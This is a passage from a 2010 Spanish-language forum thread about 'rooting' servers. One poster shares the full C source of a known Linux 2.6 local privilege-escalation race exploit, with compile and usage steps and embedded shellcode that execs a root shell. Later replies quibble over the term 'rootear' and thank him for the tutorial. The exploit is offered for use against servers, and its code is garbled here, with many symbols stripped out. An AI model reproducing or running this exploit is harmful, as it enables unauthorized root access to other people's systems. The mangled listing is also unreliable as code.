Página 2 de 2

Re: Rootear Servidores Windows con SkillmaX

Publicado: 29 Jul 2010, 15:21
por Skillmax
Sí, es la que te pasé por msn, el code es:

Código: Seleccionar todo

 Author h00lyshit
 Vulnerable Linux 2.6 ALL
 Type of Vulnerability Local Race
 Tested On  various distros
 Vendor Status unknown

 Disclaimer
 In no event shall the author be liable for any damages
 whatsoever arising out of or in connection with the use
 or spread of this information.
 Any use of this information is at the user's own risk.

 Compile
 gcc h00lyshit.c -o h00lyshit

 Usage
 h00lyshit very big file on the disk

 Example
 h00lyshit usrX11R6liblibethereal.so.0.0.1

 if y0u dont have one, make big file (~100MB) in tmp with dd
 and try to junk the cache e.g. cat usrlib devnull



#include stdio.h
#include stdlib.h
#include string.h
#include unistd.h
#include fcntl.h
#include errno.h
#include sched.h
#include systypes.h
#include sysstat.h
#include sysprctl.h
#include sysmman.h
#include syswait.h
#include linuxa.out.h
#include asmunistd.h


static struct exec ex;
static char e[256];
static char a[4];
static char b[512];
static char t[256];
static volatile int c;


	h00lyshit shell code		
__asm__ (	__excode	call	1f			n
	 	1		mov	$23, %eax		n
	 			xor	%ebx, %ebx		n
	 			int	$0x80			n
	 			pop	%eax			n
	 			mov	$cmd-1b, %ebx		n
	 			add	%eax, %ebx		n
	 			mov	$arg-1b, %ecx		n
	 			add	%eax, %ecx		n
	 			mov	%ebx, (%ecx)		n
	 			mov	%ecx, %edx		n
	 			add	$4, %edx		n
	 			mov	$11, %eax		n
	 			int	$0x80			n
	 			mov	$1, %eax		n
	 			int	$0x80			n
	 	arg		.quad	0x00, 0x00		n
	 	cmd		.string		binsh	n
	 	__excode_e	nop				n
	 	.global		__excode			n
	 	.global		__excode_e			n
	);



extern void (__excode) (void);
extern void (__excode_e) (void);


void
error (char err)
{
  perror (err);
  fflush (stderr);
  exit (1);
}


	exploit this shit	
void
exploit (char file)
{
  int i, fd;
  void p;
  struct stat st;

  printf (ntrying to exploit %snn, file);
  fflush (stdout);
  chmod (procselfenviron, 04755);
  c = mmap (0, 4096, PROT_READ  PROT_WRITE, MAP_SHARED  MAP_ANONYMOUS, 0, 0);
  memset ((void ) c, 0, 4096);

        slow down machine       
  fd = open (file, O_RDONLY);
  fstat (fd, &st);
  p =
    (void ) mmap (0, st.st_size, PROT_READ  PROT_WRITE, MAP_PRIVATE, fd, 0);
  if (p == MAP_FAILED)
    error (mmap);
  prctl (PR_SET_DUMPABLE, 0, 0, 0, 0);
  sprintf (t, proc%denviron, getpid ());
  sched_yield ();
  execve (NULL, a, e);
  madvise (0, 0, MADV_WILLNEED);
  i = fork ();

        give it a try           
  if (i)
    {		    
      (c)++;
      !madvise (p, st.st_size, MADV_WILLNEED)   error (madvise);
      prctl (PR_SET_DUMPABLE, 1, 0, 0, 0);
      sched_yield ();	
    }
  else
    {
	    nice(10);
	    while (!(c));
		sched_yield ();
      execve (t, a, e);
      error (failed);
    }

  waitpid (i, NULL, 0);
  exit (0);
}


int
main (int ac, char av)
{
  int i, j, k, s;
  char p;

  memset (e, 0, sizeof (e));
  memset (a, 0, sizeof (a));
  a[0] = strdup (av[0]);
  a[1] = strdup (av[0]);
  a[2] = strdup (av[1]);

  if (ac  2)
    error (usage binary big file name);
  if (ac  2)
    exploit (av[2]);
  printf (npreparing);
  fflush (stdout);

        make setuid a.out       
  memset (&ex, 0, sizeof (ex));
  N_SET_MAGIC (ex, NMAGIC);
  N_SET_MACHTYPE (ex, M_386);
  s = ((unsigned) &__excode_e) - (unsigned) &__excode;
  ex.a_text = s;
  ex.a_syms = -(s + sizeof (ex));

  memset (b, 0, sizeof (b));
  memcpy (b, &ex, sizeof (ex));
  memcpy (b + sizeof (ex), &__excode, s);

        make environment        
  p = b;
  s += sizeof (ex);
  j = 0;
  for (i = k = 0; i  s; i++)
    {
      if (!p[i])
	{
	  e[j++] = &p[k];
	  k = i + 1;
	}
    }

        reexec                  
  getcwd (t, sizeof (t));
  strcat (t, );
  strcat (t, av[0]);
  execve (t, a, e);
  error (execve);
  return 0;
}

Un saludo.

Re: Rootear Servidores Windows con SkillmaX

Publicado: 29 Jul 2010, 15:22
por LINUXFER
ya se por eso te dije que uses esa y hasta ahora no me dices nada ¬¬

Re: Rootear Servidores Windows con SkillmaX

Publicado: 29 Jul 2010, 15:31
por Skillmax
Linux (L), ya esta editada la imagen, jaja, no desviemos el tema marica.. jaja

Re: Rootear Servidores Windows con SkillmaX

Publicado: 29 Jul 2010, 20:03
por Skillmax
cyber-terrorist escribió:Thanks man


Thanks for you my friend

Re: Rootear Servidores Windows con SkillmaX

Publicado: 01 Sep 2010, 18:33
por Mr-Sh4d0w
esto es semi-rootear

Re: Rootear Servidores Windows con SkillmaX

Publicado: 01 Sep 2010, 18:37
por Skillmax
Mr-Sh4d0w escribió:esto es semi-rootear

En vez de semi-rootear ya que es windows se le puede llamar administrar servidores, ya que root viene de la palabra linux y se dice para rootear servidores linux, un saludo.

Re: Rootear Servidores Windows con SkillmaX

Publicado: 02 Sep 2010, 14:38
por ps1c0s1s
Mr-Sh4d0w wrote:
esto es semi-rootear
Quieras o no , el termino seria igual ! "rootear" sea linux o windows "hacer uso normal del sistema" el fin es el mismo asi que no corrijas tontadas y se entiende perfectamente el tutorial gracias Skill .

Con respeto lo del root mmmm podria acotar algo skill root viene de unix, bastantes años antes que linux y su raiz no es el usuario administrador , sino la carpeta raiz del sistema de ficheros el usuario admin de los sistemas originales, se llamaba asi porque su home era por entonces la carpeta raiz del sistema.

Re: Rootear Servidores Windows con SkillmaX

Publicado: 13 Sep 2010, 05:11
por uben
muchas gracias muy buen tutorial me servira de mucho :D